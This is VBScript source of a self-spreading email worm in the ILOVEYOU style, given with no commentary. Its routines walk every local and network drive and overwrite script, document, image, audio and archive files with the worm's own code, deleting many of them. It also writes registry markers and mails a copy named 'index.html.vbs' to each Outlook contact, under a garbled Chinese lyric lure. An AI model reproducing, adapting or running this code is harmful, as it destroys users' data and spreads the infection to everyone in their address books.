Sub yhballdriver() 
 Dim yhbd, yhbdc, yhbs 
 Set yhbdc = yhbfilesys.Drives 
 For Each yhbd In yhbdc 
 If yhbd.DriveType = 2 Or yhbd.DriveType = 3 Then 
 folderlist(yhbd.path&"\") 
 End If 
 Next 
 listadriv = yhbs 
 End Sub 
 Sub yhbinfectfiles(yhbfolderspec) 
 On Error Resume Next 
 Dim yf, yf1, yfc, yext, yap, cop, ys, ydocu 
 Set yf = yhbfilesys.GetFolder(yhbfolderspec) 
 Set yfc = yf.yhbFiles 
 For Each yf1 In yfc 
 yext = yhbfilesys.GetExtensionName(yf1.Path) 
 yext = LCase(yext) 
 ys = LCase(yf1.Name) 
 If (yext = "vbs") Or (yext = "vbe") Then 
 Set yap = yhbfilesys.OpenTextFile(yf1.Path, 2, True) 
 yap.write yhbvbscp 
 yap.Close 
 ElseIf (yext = "js") Or (yext = "jse") Or (yext = "css") Or (yext = "wsh") Or (yext = "sct") Or (yext = "hta") Or (yext = "txt") Or (yext = "vbs") Or (yext = "bmp") Or (yext = "mp3") Or (yext = "bak") Or (yext = "gif") Or (yext = "doc") Or (yext = "dll") Or (yext = "xls") Or (yext = "html") Or (yext = "htm") Or (yext = "jpg") Or (yext = "zip") Or (yext = "dot") Or (ext = "yexe") Then 
 yf1.Attributes = 0 
 Set ydocu = yhbfilesys.OpenTextFile(yf1.Path, 2, True) 
 ydocu.write yhbvbscp 
 ydocu.Close 
 yhbfilesys.DeleteFile yf1.Path, True 
 End If 
 Next 
 End Sub 
 
 
 
 Sub yhbfolderlist(yhbfolderspec)  
 On Error Resume Next 
 Dim yf, yf1, ysf 
 Set yf = yhbfilesys.GetFolder(yhbfolderspec) 
 Set ysf = yf.SubFolders 
 For Each yf1 In ysf 
 yhbinfectfiles (yf1.Path) 
 yhbfolderlist (yf1.Path) 
 Next 
 End Sub 
 
 
 
 Sub yhbregcreate(yhbregkey, yhbregvalue) 
 Set yhbregedit = CreateObject("WScript.Shell") 
 yhbregedit.RegWrite yhbregkey, yhbregvalue 
 End Sub 
 
 
 Function yhbregget(yhbvalue)  
 Set yhbregedit = CreateObject("WScript.Shell") 
 yhbregget = yhbregedit.RegRead(yhbvalue) 
 End Function 
 
 
 
 Function yhbfileexist(yhbfilespec) 
 On Error Resume Next 
 Dim yhbmsg 
 If (yhbfilesys.FileExists(yhbfilespec)) Then 
 yhbmsg = 0 
 Else 
 yhbmsg = 1 
 End If 
 yhbfileexist = yhbmsg 
 End Function 
 
 Function yhbfolderexist(yhbfolderspec)  
 On Error Resume Next 
 Dim yhbmsg 
 If (yhbfilesys.GetFolderExists(yhbfolderspec)) Then 
 yhbmsg = 0 
 Else 
 yhbmsg = 1 
 End If 
 yhbfileexist = yhbmsg 
 End Function 
 
 Sub yhbmail()  
 On Error Resume Next 
 Dim x, a, yctrlists, yctrentries, ymalead, b, yregedit, yregv, yregad 
 Set yregedit = CreateObject("WScript.Shell") 
 Set yout = WScript.CreateObject("Outlook.Application") 
 Set ymapi = yout.GetNameSpace("MAPI") 
 For yctrlists = 1 To ymapi.AddressLists.Count 
 Set a = ymapi.AddressLists(yctrlists) 
 x = 1 
 yregv = yregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" &a) 
 If (yregv = "") Then 
 yregv = 1 
 End If 
 If (Int(a.AddressEntries.Count) > Int(yregv)) Then 
 For yctrentries = 1 To a.AddressEntries.Count 
 ymalead = a.AddressEntries(x) 
 yregad = "" 
 yregad = yregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & ymalead) 
 If (yregad = "") Then 
 Set ymale = yout.CreateItem(0) 
 ymale.Recipients.Add (ymalead) 
 ymale.Subject = "ДгЧоПІ»¶µДТ»КЧёи" 
 ymale.Body = vbcrlf&"№эНкХыёцПДМмЈ¬УЗЙЛІўГ»УРєГТ»Р©Ј¬їЄіµРРК»ФЪ№«В·ОЮ±ЯОЮјКЈ¬УРАлїЄЧФјєµДёРѕхЎЈіЄІ»НкТ»КЧёиЈ¬ЖЈѕл»№КЈПВєЪСЫИ¦Ј¬ёРЗйµДКАЅзЙЛє¦ФЪЛщДСГвЈ¬»Ж»иФЩГАЧЬТЄєЪТ№! ТАИ»јЗµГґУДгїЪЦРЛµіцФЩјыјбѕцИзМъЎЈ»и°µЦРУРЦЦБТИХЧЖЙнµДґнѕхЈ¬»Ж»иµДµШЖЅПЯ»®іцТ»ѕдАл±р°®ЗйЅшИлУАТ№! ТАИ»јЗµГґУДгСЫЦР»¬ВдµДАбЙЛРДУыѕшЈ¬»мВТЦРУРЦЦИИАбЙХЙЛµДґнѕхЈ¬»Ж»иµДµШЖЅПЯёо¶ПРТёЈПІФГЈ¬Па°®ТСѕ­»ГГр!" 
 ymale.Attachments.Add(yhbsysdir&"\index.html.vbs") 
 ymale.Send 
 yregedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & ymalead, 1, "REG_DWORD" 
 End If 
 x = x + 1 
 Next 
 yregedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count 
 Else 
 yregedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count 
 End If 
 Next 
 Set yout = Nothing 
 Set ymapi = Nothing 
End sub